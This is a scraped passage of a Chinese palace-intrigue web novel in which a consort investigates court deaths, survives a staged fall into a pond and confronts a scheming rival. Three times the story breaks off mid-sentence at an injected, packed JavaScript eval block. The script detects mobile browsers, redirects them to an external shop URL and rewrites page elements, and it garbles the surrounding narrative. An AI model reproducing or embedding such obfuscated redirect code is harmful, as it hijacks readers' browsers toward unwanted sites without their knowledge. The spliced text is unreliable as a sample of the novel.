她就像一头雪原上觅食的孤狼,可以忍受天寒地冻、饥饿奔波,数日如一地跟踪、蛰伏,等待狩猎的最佳机会,而后一击毙命。 可今时不同往日,线索已经喂到她嘴边了,她又怎么忍心不吃下去呢? 滋味如何,总要自己尝过才知道。 听闻屠骁这话,吕自安颇为意外。 他本以为对方会问些先淑妃的往事,或是打探人脉,却不想竟是关心这样一个卑微的宫女。 宫里人人都知道司药之死,淑妃之死,可有谁记得,还有一个宫女暴病而亡呢? 人本就分三六九等,活着时分,死了更要分。 这姓兰的宫女不论活着、死了,都是最末一等,无人在意。 在这为数不多的在意的人里,吕自安算是一个。 他永远不会忘记跟在万淑妃身旁的日子。 每个人都是那样热情、善良,每一天都是那样幸福、快乐,万淑妃如同一点烛火、一盏明灯,所到之处是温暖,光明,还有清醒。 他深深地沉迷,又深深地恐惧——恐惧这盏灯等不来天亮。 果然,这盏灯灭了。 如今事情已经过去,再揭疮疤只会叫人鲜血淋漓,况且一个宫女的死,又能掀起什么波澜呢? 他本不愿意开口。 屠骁却只是看着他,目光落在他那带着薄茧的手上,轻声道:“二大王这个年纪的孩子想必很淘气吧?可他胳膊上的伤未免也太多了些。” 吕自安蓦地变了脸,盯着屠骁看了半晌,余光瞥见不远处探头探脑的麻杆儿,终是叹了口气。 怎么偏巧二大王躲来此处,碰见了她呢? 怎么偏巧她瞧见了二大王身上的伤呢? 于是他只得说了实话。 兰娘子本是淑妃身边的绣娘,后来意外伤了眼,绣不了精细的花样,被遣去掖庭做杂活。 掖庭干的都是累活,受了伤的宫人自然不会好过。 淑妃心善,做主留下了她,让她想些花样子,顺带做些轻巧的活计。还道,等她日后出宫,可以将花样子送去万家的绣坊,卖出去的绣品与她五五分成。 兰娘子的花样子自是极好的,淑妃的绣工也是极好的。 那段时日,淑妃绣了许多香包、衣物,都是半大孩子用的玩的。 后宫中的女人,除了绣花、品茶、读书,也没什么能排遣寂寞了。 白司药死后,淑妃深陷风暴之中,重重证据均指向她,她自保尚且困难,哪里还有心思理会身边的宫人呢? 是以淑妃并不知道,在出事后,兰娘子独自去了一趟云笈阁。 回来后,她便像是失了魂魄,整日茶不思饭不想,只顾静坐垂泪。很快,她主动招认罪行,而后在狱中留下一封遗书,自尽而亡。对外只道是以疾殁。 可她哪里能想到,如此举动,岂不是变相坐实了淑妃的罪名? 她更想不到,自己替主子顶罪的举动并未起效,淑妃同样因一个“畏罪自戕”丧了命。 屠骁又问淑妃葬在哪里,吕自安竟也没有头绪。 “淑妃葬在何处,连臣等近身伺候的宫人都不清楚。不过,宫人死后,大多会送往上清观做一场法事,而后等待家人认领。若无人认领,便会送去西山。 “先前夭折的两位皇嗣便送往了上清观,葬于皇陵,想来妃嫔是差不多的。” 事到如今,死了三个人。 三个人的死环环相扣,可究竟这才是害死柳娘的那个呢? 很快,金拂的消息也传来了。 那白司药的妹妹白霜,原先在宁妃一位堂亲的宅子里做工,年初时,被收做了妾室。 另有一则消息。 当初白司药给万柳开的安胎药方,记录在册的那一页被撕掉了,金拂已查出些眉目,待得到确切消息再告知屠骁。 膳房和药局同属尚食局,金拂打探这些事自然比屠骁容易许多。 屠骁相信金拂的本事,也相信金拂的人品,更相信金拂的银子。 因此她没有问消息的来源,也没再与金拂过多联络。 章简也曾回报过白司药的事,言辞与金拂所说并无二致,可他并未提及药方记录被撕掉的事。 是没查到还是故意隐瞒,就不得而知了。 ——司药的妹妹在杨家,柳娘的宫人在宁妃身旁,兰娘子去了一趟云笈阁便主动顶罪。 更为蹊跷的一点是:海棠苑就在云笈阁旁,与云笈阁的后苑仅有一墙之隔。那日柳娘和白司药的争吵十分激烈,云笈阁的人想不听清也难。 这些时日,屠骁在小楼里罚抄,从二楼的窗子望出去,正好能瞧见海棠苑那一片光秃秃的树丫,和一池碧波深沉的池水。 她一直在看。 她想象着季夏时节,那里该是怎样的枝繁叶茂、树影婆娑,又是怎样的幽深静谧、暗藏杀机。 绕来绕去,都绕不开宁妃。 这一切若是巧合,那也实在太巧了。 然而,这世上还有更巧的事。 林婕妤竟找上门来,要屠骁去海棠苑赴宴。 屠骁拒绝:“圣人要我禁足三月,我不敢走。” 林婕妤上下打量屠骁,嗤笑道:“不怪娘娘骂你蠢。圣人既把你交给娘娘教导,你还管什么三个月不三个月?一切听从娘娘吩咐就是了。” “那请我出去游玩,便是宁妃娘娘的吩咐了?” 这句话本没有什么不对,林婕妤却像是被噎了一下,脸涨得通红:“你当你是谁,值得娘娘如此费心?” 屠骁实在想不出海棠苑有什么可玩的。 “海棠春天才开花,我瞧那里光秃秃的,不去也罢。” “谁说海棠苑只有海棠了?” 林婕妤看着她,好心解惑。 原来,是德妃生辰将至,打算在海棠苑举办雅集,邀请众妃作画品茗、制作清供。 正因为此时海棠苑光秃秃的,德妃才选择在此办宴。若是春日海棠盛开,哪里还轮得到她呢? 说到此处,林婕妤抬手抚上了发髻,用一边鼻孔朝着屠骁。 这样的动作本是粗鲁的,可她生得美貌,反倒是一副优雅出众的风姿。 “你这等商贾之女,要参与也是为难你了。不过那寻香的游戏,倒是非你莫属。你可别不识抬举!” “寻香又是什么?” “在苑内各处放上博山炉,燃上不同的香,谁能凭味道一一寻到对应的香,就算取胜。” 林婕妤故意做出嗅闻的动作,讽刺屠骁是个狗,可惜屠骁并不恼,反而笑了。 “这倒是有趣,那便去吧。” 林婕妤又用另一边鼻孔朝着屠骁,警告她:“如今你是宁妃娘娘教导的人,出去后万万不可再生事端,否则有你的好看!” “你一个婕妤,凭什么警告起我来了?这也是宁妃娘娘教导的道理?” 林婕妤又被噎住了,“你”了两声,狠狠剜了屠骁一眼,气冲冲地走了。 这样的好消息,屠骁自然要与章简分享。 她甚至还打算将章简也捎上。 章简却道:“我劝你不要去。” “为什么?” 屠骁看着章简。 那双眼看人的时候总是很直接,带着一种野兽般的冒犯,叫人要么害怕退缩,要么想要扑上去较量一番。 他思量着该如何开口解释,却鬼使神差地,想到那日她与吕自安轻言耳语的情景。 虽没听见两人的对话,可远远瞧见那亲热的情景,便知道两人定有秘密。 哼,她倒是好手段! 于是他不思量了,问:“吕自安没与娘娘说?” 屠骁怔了一下,才反应过来,反问:“吕自安为什么要与我说?” 章简笑得揶揄:“臣那日瞧娘娘与吕自安那样亲密,还以为娘娘与吕自安相识已久呢……臣劝娘娘,往后还是小心些好,这宫里的人别的不会,嚼舌根倒是个顶个的厉害。” 屠骁品出些许不对劲来。 她原以为太监们挨那一刀,就是为了在后宫行走方便、自由出入的,没想到仍然需要避嫌。 如此说来,他们那刀岂不是白挨了? 她不过与吕自安凑得近了些,章简便以为他们之间有私情? 她也笑了,笑得天真,又像是纯然的好奇:“我与一个太监有什么好亲密的?我还真不知道太监们怎么亲密,章都知博闻强识,不妨与我详细说说?” 有的人就是擅长以纯真的语气说最恶毒的话,偏偏你还不能与她计较,只能将气憋在心里,否则便是你心胸狭窄、心思龌龊。 屠骁恰巧是这样的人。 章简像是被锤了一下,心中的得意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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屠骁没有感慨太久,正色道:“我当然要查。我既然要在宫里立足,总要知道谁是敌人,谁是朋友。” 或许这宫里的人都习惯了懵懵懂懂、糊糊涂涂,可一个人若是连自己都欺骗,活着又有什么意思呢? 章简不再说话。 他看着她,仿佛看到一只绕着篝火起舞的飞蛾,心中不由地可惜。 ——仅仅是可惜,还不至于到劝诫她的程度。 她此刻当然不懂,但经年累月,她终有一天也会明白,在这里没有别的出路,活着就是为了斗。 只有斗,才能活。 屠骁却像是没看到他的神情,话锋一转:“对了,元鸣说你的伤大好了。” 章简露出招牌式的笑:“是,多亏了娘娘赏的清淤膏。” 他当然没有用那盒清淤膏。 屠骁很满意:“那便好,我在宫中并无根基,你是我的人,不论如何我总要向着你的。” 她当然知道他不会用她的清淤膏。 所以药膏没有问题,有问题的是盒子——盒子上抹了毒,而解药正在药膏里。 毒药名为“梦断”,是从她一位朋友那里求来的。 此毒本是昔日西天魔教用以施展幻术的迷药,后西天魔教覆灭,此药一度绝迹于江湖。 稍加使用,便可使人心神不宁,辗转难眠;用量再大些,则会狂躁难安、产生幻觉;用量再大,便可直接毁人神智,叫人变成白痴。 “梦断”本就罕见,况且用量低微,寻常查验压根无法发觉,这才被她抹在清淤膏的盒子上,一路带进了宫。 但这样也就够了,再强一分恐会被人察觉。 屠骁看着章简眼下的青影,嘴角抑制不住地溢出笑来。 “我问你,你想不想做回权都知?” 章简心头剧烈一跳,面上却依旧恭顺:“臣只想侍奉娘娘左右。” 屠骁却嗤笑:“这话你骗骗旁人就罢了,任一个昭仪的掌事有什么意思?权都知才是最要紧的差事。我有一计,能助你回到权都知之位,你愿意听听吗?” 这话简直异想天开,章简本该嗤之以鼻,可他忽然又有些好奇。 一个人若只是有些蠢,就会叫人厌烦,恨不得躲得远远的,生怕被蠢货沾染上。可一个人若是太蠢,却会叫人不禁心生好奇—— 她究竟还有什么蠢主意呢? 18. 落水 海棠苑的亭子里,风是冷的,香是暖的。 厚实的帷帘被风吹得微微鼓起,像女人的叹息,将亭内氤氲的暖香一缕缕泄入深秋的萧瑟里。 亭中燃着薰笼,宫妃们围坐着,或作画,或吟诗,或在素雅的瓷盘中用松枝、冬果、奇石堆叠出禅意的清供。 德妃就坐在主位上。 她穿着一身素净的秋香色褙子,身形清瘦,个子娇小,不言不语,笑起来时双唇用力抿起,像个永不会长大的女孩,又像个永不见光的幽灵。 若不是眼角细密的纹路,谁也想不到这个腼腆的女子已年近四旬。 既是雅集,自然少不了各色果子。 众妃们吃不了多少,倒是便宜了殷煊。 人靠衣装,他今日穿着赭黄盘领衫,领口与袖缘处滚着一圈细细的绒毛,头上戴着软脚璞头,板着一张脸,瞧上去倒真有几分皇室气度。 可惜这气度叫他的猥琐举动破坏了。 拜见德妃之后,他便忙不迭地凑到桌旁,猴儿似的将手伸向碟子。 他虽瘦,可食量却像是大胖子,牙齿动得飞快,三两下便将糕点咽下去,又一连往嘴里塞了两块。 一块接一块,一会儿都功夫已经吃完了一盘。 屠骁紧挨着宁妃和殷煊而坐,眼见得殷煊卷完一碟果子,尤未吃饱,便伸出两根手指,把自己面前的碟子推了过去。 殷煊瞬间投来感激的目光,将碟子一抱,揽到怀里,转眼间又塞了三块果子进口。 糖霜扑簌簌地掉,他嚼了两下,正待咽下,忽的丢了盘子,双眼一翻,两手掐住了自己的脖子。 只片刻,眼中已有泪光,整张脸涨得通红。 “呜!呜呜!” 他闷叫两声,指着自己的嗓子,两手用力垂着自己的胸膛。一边呼救,一边不死心地将口中食物使劲往下咽。 屠骁眼疾手快,一把捏住他的下巴,迫使他张开嘴,另一手伸出两指,抠出他口中黏糊的面团,抬手将茶水灌了下去。待他顺了气,又用力在他后心重重一拍。 “咳……咳咳咳!多、多谢昭仪娘娘!” 殷煊死里逃生,冲屠骁叉手作了个揖,笑了笑。 视线落到地上那一团东西上,又惋惜道:“暴殄天物啊……” 他满面狼狈,不知是茶水还是口水流了满襟,但浑然不觉,又将手探向落在桌上的果子。 屠骁盯着他看了片刻,握住他的手腕,面上不由地一悚。 “你……” 殷煊忙抽回手,讪笑道:“我不吃,不吃就是了……” 闹剧惊动了宁妃。 她的脸顿时沉了下来,目光冷冷一扫,殷煊立刻僵住,连话都不敢再说了。 吕自安无声无息地上前,手腕轻轻一翻,用巧劲按住了殷煊的手腕。 “带二大王回去吧。” 宁妃面色冷淡,迫不及待地将人打发回去。 殷煊口中的糕点还没咽下,鼓着腮帮子行了个礼,不情不愿地叫吕自安领走了。 众妃对此早已见怪不怪。 宫中谁人不知,二大王生母不过是个南启进贡的才人,生他时难产死了,官家便将二大王交给宁妃抚养。 宁妃待二大王一向严苛,平日里几乎将他圈禁在云笈阁,还不准他与人嬉闹玩耍。留着他不过是听从官家吩咐而已,两人并无半分母子之情。 也就是碰上今日这样的场合,才叫二大王露一面,告诉众人宫里这人还活在世上。 “二大王还小,贪吃了些,日后便好了。”德妃柔声安慰道。 “他素来没规矩,早些回去,也免得扫了你的兴。” 宁妃并不愿意多谈,起身去看那案上的清供了。 制作清供本是一件趣事,甄修仪却并不喜欢。 她是皇后举荐入宫的,总不乏有妃嫔想与她套近乎。 可她不善言辞,也不爱出头,只是客套寒暄两句,便再无话说,实在叫人觉得无趣。 德妃请她来,她不好推脱,于是插了几根枯枝,寻了几颗硕大的糖浸嘉庆子,随手一摆,便交了差事。 “你说过病好了便来看我的。” 甄修仪已离开人群,来到屠骁面前。 她苍白的面上带着嗔怪,随即又化作了然的笑:“谁成想后来我又病了,病好之后,才知道出了那样的乱子。好在刺客抓到了。” 屠骁只淡淡地应了一声:“是啊,好在抓到了。” 甄修仪凝视着她,似有千言万语,却欲言又止。 屠骁会意道:“此处人太多,香也太浓,这些风雅游戏对我来说实在是无趣。还是去水边走走吧。” 甄修仪忽的握住了屠骁的手,那只手冰凉而微颤。 她飞快地瞥了一眼紧紧盯着她的冷面女官,低声道:“那……我跟你一起去。” 两人并肩而行,才离了亭子,身后便跟上了一串环佩叮当的声响。 林婕妤像生怕被撇下,慌忙带着几名美人、才人跟了上来,连人带侍女,竟也有十来号人。 身后传来愈来愈近的衣料摩擦声与说笑声,像一群恼人的雀。 屠骁叹息:“我本是想躲清静的。” 甄修仪笑道:“虽不清净,但却有趣。” 屠骁点头,深以为然,被一大串美人跟着,倒是十分新鲜的体验。 冷面女官亦步亦趋,甄修仪瞥了一眼身后,忽的倒:“怎么没见到章掌事。” 屠骁的视线越过枯枝,道:“章伴有差事交给他,他去内侍省了。” 甄修仪点了点头。 不但章简不在,连元鸣也被留在了亭中,此时正是说话的好时候。 两人心中都明白,对方不是来赏什么风景的。 行至一处,甄修仪的脚步忽然停了。 她将声音压得极低,低到屠骁几乎要听不见:“当日,白司药便是在此处与淑妃娘娘争执,而后落水。” 屠骁左右张望。 这是一段悬在水面的小榭,底下是错落的石柱。 栏杆是新换上的,高度仅仅到寻常女子的腰间,对屠骁这等身量的人来说,更是形同虚设。 她正想问甄修仪是如何知道得这样清楚,林婕妤那一行人已经叽叽喳喳地围了上来。 甄修仪转过身,扬起笑,正要与人敷衍招呼。 就在此刻,她的身子忽然毫无征兆地向后倒去。 那张苍白的脸上露出惊怖之色,双手在空中徒劳地抓向栏杆,却差了一点。 只那么一点。 秋已深,水边已凝了薄薄的冰碴,这样的水能瞬间将人的冻透骨头,何况是甄修仪这样大病初愈的女子? 屠骁想也没想,手已闪电般探出。 可有人比她更快。 那个冷面女官的双眼自始至终就未离开过甄修仪,在甄修仪身形晃动的刹那,她也伸出了手。 她的动作虽比屠骁慢,但她出手更早,位置更近,一把便将甄修仪的身子拽了回来。 于是屠骁的手便抓了个空。 随即,她像是被人踢了一脚,又像是被线猛地一拽,整个人竟直挺挺朝着那墨绿色的水面倒栽下去。 水花只溅起一瞬,人已没入幽暗的水草深处,无声无息。 连串变故只在呼吸之间。 甄修仪虽被救回,可眼睁睁看着屠骁落水,一张脸已经吓得没有半点血色,倒在那女官怀里,抖如筛糠。 嗫嚅半晌,她才勉强找回声音:“快……快救人!” 众人终于反应过来,惊声尖叫起来。 林婕妤急了,一把推开叫得最大声的那个美人:“嚷什么嚷,还不去叫人!” 又低骂一句:“怎么宫里尽是些蠢货!” 也不知是是说屠骁,还是说那群惊慌失措的人。 甄修仪不住地垂泪,用手推着冷面女官,急声劝道:“你不必管我,快去救人!这样深的水——” 她话音顿住,面色骤然一变:“怎么没有动静,也没有喊声?” 林婕妤一惊,忙抓住栏杆,探头向水下望去。 碧森森的水面十分平静,没有水花,没有气泡,甚至连半分涟漪也没有,只有她那张惊惶失措的脸。 那张脸看起来太白了,白得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053772|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就像溺死的尸身。 一阵晕眩袭来,她心中惊恐,连忙退了回来。 “怎么又出了事……这下好了,娘娘该赶我走了……我不想回去……” 她嘴里不停地嘟囔,无助地原地踱步,强自将心神安定下来,“不,不会的……快!竹竿!” 自白司药死后,宫中水榭附近都备下了长长的竹竿。此处重新翻修过,竹竿更是比别处都要新。 林婕妤拖着一个小黄门去寻了竹竿来,又指挥小黄门将竹竿探下水去捞人。 可水草实在太过茂密,竹竿才伸进去便被死死缠住,那小黄门急了,使足了力气猛地一拽。 只听“咔”的一声脆响,那竹竿竟从中断裂开来。 小黄门呆住了,下意识探出身子去捞那竹竿,却被林婕妤一把揪住后颈,掼在地上。 “废物!还嫌不够热闹吗?滚!” 林婕妤踹了他一脚,又吩咐宫女去找些干净的披风衣裳来,自己则立在岸边等着人来。 正惴惴不安时,忽的有人从旁问道:“好好的竹竿,怎么会坏呢?” 林婕妤一怔,转回身,便看见甄修仪冷冷看着自己。 她当即怒目:“什么意思?你怀疑我?” 甄修仪已经平复了心情,语气越发冰冷:“这竹竿是新备下的,哪有那么容易就断?林婕妤,你究竟是太想救人,还是不想救人?” 林婕妤位分虽不高,可她颇得宁妃看重,素来瞧不惯甄修仪这幅弱不禁风、矫揉造作的样子,也回以冷笑。 “你有什么资格质问我?” 甄修仪上前半步,不依不饶。 “今日无风无雨,我好端端的站在这里,为什么会滑倒?方才只有你离我最近,只有你有机会、有理由推我!因为你的目的不是我,你知道万昭仪一定会救我!” 她的目光死死钉在林婕妤身上,既悲痛又愤恨:“我、我没想到你竟是这样的人!如今她落水了,你的目的达到了?你可满意了?” 林婕妤瞪大了眼,上上下下地打量着甄修仪。 半晌,蓦地笑了起来:“原来如此!” 甄修仪没有理她,转头望向那冷面女官:“你可看清了,方才的竹竿是不是有问题?” 那冷脸女官没有回答,而是转身,一把擒住了那被吓傻了的小黄门。 争执间,人群匆匆往此处赶来,带着竹竿与衣物,为首的正是宁德二妃。 林婕妤大笑几声,忽的笑容一敛,朝甄修仪啐了一口:“呸!” 甄修仪面色不改,淡定地擦掉身上的口水,脸上露出了劫后余生的笑意,直视着林婕妤。 “你别得意得太久,我可不怕你,我……” 话未说完,她忽的身子一软,晕了过去。 秋风很冷,冷得像是要把人的皮剥掉。 水却不然。 水下其实比岸上还要暖和一些,屠骁曾在深冬之时与爹爹一同破冰下河,眼前这点寒冷还不足为惧。何况她有内力护体,一路走来气血早已活络。 这一跃没有半分危险。 她水性极好,甫一入水,便像鱼一般滑开,借着水草的掩护潜到了栈道下方,藏身于石柱之间。 此处很暗,空间狭小,只能容人蹲着,难以长时间立足。 她勉强在两根石柱的夹缝里坐下,一抬手,摸到了一个东西。 ——一个用油布包裹的小包。 展开布包,里面是一套太监服侍,看颜色和袖口的云纹,应当是个押班才能穿的。 衣服已经放了很久,布料摸上去又湿又朽,散发着一股泥土和霉烂的气味。衣裳中间,夹着一块木片,上头刻有纹路,似乎是一个字的残角。 这应当是那太监的牙牌,或许是意外断裂,早已被水汽腐蚀得不成样子,上面的字迹也模糊不清。 但屠骁还是一眼就认出了那个字—— 云。 云集笈阁的云。 屠骁将那件衣裳连同布包重新塞回石缝。 她看了看手里那块牙牌的残片,揣入怀中,而后深吸一口气,身形一晃,又悄然没入水中。 19. 恨 晕倒的甄修仪被安置在海棠苑的暖阁里,德妃派来的宫女则被那冷面女官拦在门口。 “修仪娘娘风寒未愈,此番受惊,正需静养。娘娘住处备有汤药,劳一位娘子去取来便好。” 她的声音冷硬,眼神也是,身子更是健壮得如同老鹰。 两厢对比之下,甄修仪简直如同老鹰爪下的小鸡一般。 她环视一圈,又道:“娘娘不愿再给德妃娘娘添麻烦,还请各位前去帮忙,早日寻到昭仪娘娘才是正事。娘娘跟前有我一人伺候足矣。” 宫女们不愿多管闲事,躬了躬身,便鱼贯而出。 阁中只剩下那冷面女官一人。 门被关上,隔绝了外头所有焦急的呼喊与杂乱的脚步声。 等人都走远了,声音似乎也消散了,屏风后那描着淡墨山水的一面,映出了一道纤瘦袅娜的身影。 那身影缓缓坐起,一道女声响起:“人都走了么?” 冷面女官垂首:“走了。” “那便好。” 这声音正是甄修仪。 她的嗓音已全无方才的虚弱惊惶,更没有半分颤抖,反而十分镇定,镇定得甚至有些森寒。 她取过桌上铜盆里的帕子,慢慢地拧干水,慢慢地擦去眼角与面颊上的泪痕,慢慢地问:“你可知,今日你错在何处?” 那冷面女官的声音依旧平稳,可映在屏风上的影子却微微颤抖起来。 “臣……臣……” 她的嗓子像是被手掐住了,一个字也说不出来。 甄修仪将帕子扔回盆里,水花溅起,她冷笑一声。 “你错就错在自作主张!本应是我将她拽入水中,如今倒好,叫你这蠢材坏了事!” 屏风上的影子抖得愈发厉害,随即跪了下去,缩成一团。 “臣、臣知错……如此天寒地冻,臣也是怕娘娘身子……” “闭嘴!”甄修仪厉声喝止。 “错便错了,何必狡辩!如此心慈手软,如何能成大事?再有下次,便是圣人也保不住你了!” 那影子已经完全伏趴在地上,一动不动。 “臣……明白。” 甄修仪的语气缓和了些。 “以她的本事,十有八九不会出事,说不定,到头来还会发现是你推的她。若有那一日,你可明白该如何自处?” 影子沉默了许久。 “……明白。” 甄修仪的唇角勾起笑意:“明白就好,进来吧。” 等了半晌,那影子也没有动,甄修仪心中生出疑惑。 “跪着做什么,还不快进——” 话音戛然而止。 因为她看见一个人从屏风后走了出来。 那人墨色的长发紧紧束在头顶,发冠钗环已不见踪影,水珠顺着衣角滴落,留下一串湿漉漉的脚印。 甄修仪面上的惊诧只维持了片刻,便化作自然的笑。 她起身迎了上去,关切道:“你可算回来了,真是吓死我了!” 她似乎全然不记得方才说了什么,也全然没看见地上还跪着的冷面女官,伸手便探向屠骁的胳膊。 屠骁的手却更快,一把扣住她的脉门,手指一错、一探、一扬,“咚”的一声,一把小巧的剪刀应声落地。 这一次,屠骁没有手下留情。 甄修仪只觉得整条手臂都酥麻了,酸痛瞬间窜遍半边身子,但她也只是面色微变,依旧笑意盈盈地看着屠骁。 “你没事吧?” “你希望我有事?” “自然不希望。” “你当然不希望我有事,不然岂不是白演这一场戏了?” 甄修仪的心思被揭穿,却并没有丝毫尴尬,只是揉着胳膊,露出赞赏的笑容。 “你早就怀疑我了,所以才故意跳下去的,是不是?” 屠骁点头:“你这样可疑,难道我不该怀疑吗?” “这么说,那些东西你一定看到了。” “是你放在那的?” 甄修仪摇头:“我还没有这个本事。那东西本就在那,我不过是引你看见罢了。” “你又是怎么知道的?” 不待甄修仪回答,屠骁又恍然大悟道:“哦!当日处理此案的并非圣人,而是你!” 她越说越笃定:“白司药溺死一案全凭圣人裁决,圣人并不插手宫务,此事本该由宁妃处置。可圣人偏又信不过宁妃,必定要交给信得过的心腹。所以,你才知道得这样清楚。” 甄修仪的胳膊已经不疼了,她知道屠骁若真出手,她的胳膊早已碎了。 如此看来,对于自己屡次三番的冒犯,对方不过拧了她的胳膊,当真是手下留情了。 于是她摆出笑脸,道:“我早知道你是聪明人,现在看来,你比我想的还要聪明些。” “你既然知道内情,为什么不直接告诉我,还要想出这样的法子?” “如果我直接告诉你,你会信吗?” 屠骁立刻摇头。 甄修仪拿起帕子,想要为屠骁擦干面上的水,却被屠骁闪身躲开。 甄修仪也不恼,柔声道:“对于你们这样的人,必定要亲眼所见、亲耳所听才算真的。所以我非但不能直说,还要故意隐瞒,叫你自己去发现,你才会真的相信。” 屠骁却咬住字眼,敏感发问:“你们?” 甄修仪愣了一下。 屠骁欺身上前,步步紧逼:“你与我姐姐说过什么?” 甄修仪的面色突然变得很难看,很恐怖,苍白的面皮下青筋暴起,不住地抖动,像是无数蚯蚓在皮下蠕动。 “我说什么……我能说什么?我不过是告诉她真相,告诉她是谁要害我们的孩子,告诉她有的人是恶魔,连未出世的婴儿都不肯放过!” 她的身子摇摇欲坠,仿佛随时都会晕倒。 屠骁上前一步,伸手抓住了她的肩膀,死死盯住甄修仪。 “恶魔是谁?” 甄修仪抬起眼。 她的眼中是两座不见底的深渊,那深渊里的黑暗与怨毒,竟叫屠骁也感到一阵心惊。 “你觉得是谁?这宫里,还有谁容不得皇嗣出生?” 屠骁看着她,半晌,缓缓点了点头。 二大王虽不受待见,可他身体里始终流着皇室的血,是皇位继承人。 ——唯一的继承人。 甄修仪见她明了,恨声道:“白司药为宁妃做了许多阴私勾当,宁妃又岂能留她?证物我早便发现了,一旦拿出来,便可以将宁妃定罪,不死也要叫她脱层皮下来!” 说到此处,她苦笑一声:“可杨家势大,圣人顾虑颇多,并不愿与宁妃撕破脸。” 屠骁连连冷笑:“所以只能叫我姐姐来背锅了。毕竟万家无权无势,不过是一介商贾,两个孤女,便是死了又有何妨,对么?” 甄修仪看了屠骁一眼,对方的平静超出了她的预想。 有的人在突逢大变时,并不会震怒,也不会惊诧,反而会变得十分冷静,只因她们深知只有冷静才能清醒,只有清醒才能活下去,才能报仇。 她是这样的人,如今看来,万昭仪也是这样的人。 她的笑容恢复了平日里的温柔娴雅,几乎算得上真诚:“我知道你姐姐是个好人,可好人总是活不长的,你说是吗?” “即便她什么也没做错?” “不,”甄修仪的面色忽的变得落寂,“她错了,我也错了。” 顿了顿,她才轻声开口,“我们错就错在生错了人家,生错了时候,否则又何至于沦落至此呢?” 屠骁不知该如何劝解甄修仪。 这样的人本就通透,看不破并非是看不懂,只是不能看破、不敢看破。 她想了想,直白道:“你既如此得圣人倚重,为何到现在仍是个修仪呢?” 难道是因为家世和出身? 她只听闻甄修仪家世不显,却不知底细。 甄修仪沉默了许久,久到屠骁以为她不会回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065421|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,她却忽的开口:“你可听过傅陵?” 说这话时,她的双眼和脸都在发光,像是有繁花在双眸中缓缓盛开。 傅陵的名字屠骁自是听过的。 “蔺元诲案”所涉二十一家,名字和案件细节她都记得清清楚楚。 屠骁隐隐有了猜测,问:“傅陵是你什么人?” “傅陵是我的表舅。” 屠骁心头一震,脱口而出:“那么傅美是你的——” 甄修仪终于看向屠骁,她明明在笑,可眼泪已经顺着脸颊滑落下来。 “他是我的表哥,我的……未婚夫。” 屠骁长长地、长长地叹了口气。 甄修仪的眼泪泛着光:“我父母早丧,十一岁便投靠表舅,与表哥定下了亲事。 “若不是杨荔那老贼,我何至于无依无靠,没入教坊司?若不是圣人作保,我又如何得以保全? “傅家三代忠烈,满门英豪,却被杨荔借机陷害,满门抄斩!杨家想要兵权,势必要将傅家拉下马,至于真相如何,谁在乎?” 再美的脸蛋,在这样强烈的恨意下也会变得面目全非,可屠骁却从那恨意的双眸中看见了自己的倒影,心头只觉得一阵激荡。 甄修仪对杨家的恨,与她对章怀恩的恨如出一辙。 她尚有自保的本事,像甄修仪这样没有武功的人,便只能以阴谋手段谋得生存。 可谁说阴谋手段又不是一种本事呢? 她不是她,她也是她。 这一瞬间,屠骁便将甄修仪方才想要害她的事全然抛之脑后。 她总是不屑于痛恨弱者的。 恨也是一种意志的消耗,她向来只恨该恨之人,如同狼群在追逐羚羊时,便不会再分一丝心力给田鼠野鸡了。 她的心中有一把刀,她绝不会叫这把刀因砍柴杀鸡而折损锋芒。 屠骁将那方被扔进水盆的帕子拧干,递给甄修仪,思来想去,还是说出了那句话:“你就不怕恨错了人?” 蛊虫固然可怕,但真正可怕的,岂不是背后的养蛊之人? 甄修仪像是被这句话刺痛,立刻跳起来,一双眼红通通地瞪着屠骁:“我不恨杨家该恨谁?你说,我该恨谁?” 虽是问句,可更像是否定。 她分明知道自己该恨谁。 可她不敢去恨,更不能去恨。 那个人杀了她表哥满门,将她打入贱籍,又轻动手指,将她收入后宫。 她非但不能恨他,还要感恩戴德地爱他、敬他,与他生儿育女,为他绵延子嗣。 否则,她的后半辈子又该如何度过呢? 屠骁又叹了口气:“你今日所说我也不会全信,真相如何,我自会去验证。” 甄修仪已擦干了眼泪,恢复了那副波澜不惊的模样。 “你信也好,不信也罢,我该说的都已说了。” “告辞。” 屠骁不再留恋,转身离开。 那倜然的背影映在屏风的山水画上,恰好与山峦青影叠在一起,仿佛她本就是从那画中走出的孤峭山峰。 甄修仪手中握着帕子,心中似是被狠狠撞了一下,不由地追出两步。 “你……你既然早就怀疑我,为何不肯将计就计呢?” 为了这一计的可信度,甄修仪本打算是自己与屠骁一同落水的,屠骁必然是察觉了她的意图,才故意错开她的手臂,假装错过,选择自己跳入水中。 她的心跳得很快。 她知道有一种可能。 但她不肯相信。 她始终不肯相信世界上有这样傻的人。 门已经开了,冷风灌了进来,纱帐翻飞,山峦上似有仙雾缭绕。 屠骁顿住脚步,没有回头。 “你已猜到原因,何必明知故问呢?” 